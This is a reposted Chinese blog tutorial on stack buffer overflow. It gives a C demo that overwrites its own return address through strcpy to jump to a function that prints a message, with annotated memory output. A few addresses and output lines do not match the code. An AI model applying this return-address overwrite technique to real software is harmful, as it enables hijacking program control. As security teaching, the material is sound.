在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而,中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。我在这里演示一下堆栈溢出的原理。
首先,介绍一下,与堆栈有关的一些概念:动态内存有两种,堆栈(stack),堆(heap)。
堆栈在内存上端,堆在内存下端,当程序执行时,堆栈向下朝堆增长,堆向上朝堆栈增长。
通常,局部变量,返回地址,函数的参数,是放在堆栈里面的。
栈的分布视图:
低地址
局部变量
旧的基指针
返回地址
函数的参数(左)
函数的参数(。。。)
函数的参数(右)
高地址
缓冲区溢出就是得意于上面这个组成原理级的栈分布,就不明白当初为什么计算机设计者要将局部变量放在了返回地址的上面了呢。哈哈。
贴出我写的代码+运行后的信息:
/*********************************************************************************************************
* FileName: memory_overflow.c
*
* Author: Version : Date(Y/M/D):
* liyangth@gmail.com 1.0 2007-04-11
*
* Description: 实现了缓冲区溢出来执行我们想要执行的自己的函数;
*
* Note:
* 关键点:
* [1]找到SRC_BUF_SIZE的大小,即:找到des_buf的地址和返回地址;
*
* [2]找到攻击函数的地址;
**********************************************************************************************************/
/*****************************************************************************
* include files (#include)
*/
#include <stdio.h>
#include <string.h>
/*****************************************************************************
* Constants (#define)
*/
#define SRC_BUF_SIZE 14 /* 返回地址与des_buf的地址的间距 */
/* 要填充攻击函数地址的那四个字节 */
#define HOOK_ADD0 (SRC_BUF_SIZE)
#define HOOK_ADD1 (SRC_BUF_SIZE+1)
#define HOOK_ADD2 (SRC_BUF_SIZE+2)
#define HOOK_ADD3 (SRC_BUF_SIZE+3)
#define DES_BUF_SIZE 6 /* 无所谓,但是肯定是小于SRC_BUF_SIZE的 */
/*****************************************************************************
* Function Prototypes
*/
/* Global Functions */
/* Static Functions */
static void test(char *);
static void hook_foo(void);
int main()
{
#if 1
char src_buf[SRC_BUF_SIZE];
int i;
printf("ATTACK CODE ");
/* fill with the src_buf */
for(i = 0; i < SRC_BUF_SIZE; i++)
src_buf[i] = 'x'; ; /* 覆盖不重要的部分 */
/* 在这里改写了返回地址,达到来执行我们自己的攻击函数 */
/* 你可以在这写任何你想要执行的函数的地址 */
src_buf[HOOK_ADD0] = 0x91;
src_buf[HOOK_ADD1] = 0x85;
src_buf[HOOK_ADD2] = 0x04;
src_buf[HOOK_ADD3] = 0x08;
#else
printf("TEST CODE");
char src_buf[] = "hello";
#endif
test(src_buf);
return 0;
}
static void test(char *src_buf)
{
char des_buf[6];
char *i;
strcpy(des_buf,src_buf);
printf("&main: [%p] ", &main); /* 从这知道main函数栈框架大概的区域,用于一会找返回地址用 */
printf("&test: [%p] ", &test);
printf("&hook_foo: [%p] ", &hook_foo); /* 从这得到攻击函数的地址 */
printf("********* ");
printf("&des_buf: [%p] ", &des_buf); /* 从这得到des_buf的地址,找到返回地址后,用返回地址减它来得到SRC_BUF_SIZE */
printf("&src_buf: [%p] ", &src_buf); /* 形参,一般返回地址就在它上面,再根据main的地址就可以判断出哪4个字节是返回地址了 */
printf("********* ");
for(i = ((char *)&des_buf); i < ((char *)&src_buf)+4; i++ )
printf("%p:[0x%x] ", i, *(unsigned char *)i);
}
static void hook_foo(void)
{
/* 攻击代码 */
printf("GoodP Fly! ");
printf("GoodP Fly! ");
printf("GoodP Fly! ");
printf("GoodP Fly! ");
}
linux:~/Ctest # gcc memory_overflow.c -o liy
linux:~/Ctest # ./liy
ATTACK CODE
Befory strcpy
显示各个函数,参数,局部变量的地址,以及局部字符串变量des_buf和参数src_buf之间的地址,我们看到:
&main: [0x8048438] /* 我们知道main框架是在0x8048438 */
&test: [0x80484a6]
&hook_foo: [0x804858e] /* 用于填充的攻击函数的地址 */
*********
&des_buf: [0xbffcc7ce] /* 一会儿用返回地址来减它 */
&src_buf: [0xbffcc7e0] /* 它上面一般就是返回地址了 */
*********
0xbffcc7ce:[0x78] <--&des_buf
0xbffcc7cf:[0x78]
0xbffcc7d0:[0x78]
0xbffcc7d1:[0x78]
0xbffcc7d2:[0x78]
0xbffcc7d3:[0x78]
0xbffcc7d4:[0xd4]
0xbffcc7d5:[0xc7]
0xbffcc7d6:[0xfc]
0xbffcc7d7:[0xbf]
0xbffcc7d8:[0x78]
0xbffcc7d9:[0x78]
0xbffcc7da:[0x78]
0xbffcc7db:[0x78]
0xbffcc7dc:[0x91] <--这四个字节(0x8048591), 看看是不是和main的地址很像呢,证明它是在
0xbffcc7dd:[0x85] main栈框架中的,
0xbffcc7de:[0x4] 而且也是在形参src_buf上,
0xbffcc7df:[0x8] 再看看是不是就是在test函数地址上呢,呵呵,他们都是在调用test前,压入main栈框架的;so,成功找的返回地址!!!
0xbffcc7e0:[0x78] <--src_buf
0xbffcc7e1:[0xc8]
0xbffcc7e2:[0xfc]
0xbffcc7e3:[0xbf]
GoodP Fly! <--成功进入攻击函数 ^_^
GoodP Fly!
GoodP Fly!
GoodP Fly!
Segmentation fault
为什么最后会出现“段错误”呢,因为我们的攻击函数hook_foo根本找不到自己的返回地址呀。
转自:http://blog.csdn.net/freedom1013/archive/2007/04/11/1561240.aspx
阅读(1200) | 评论(0) | 转发(0) |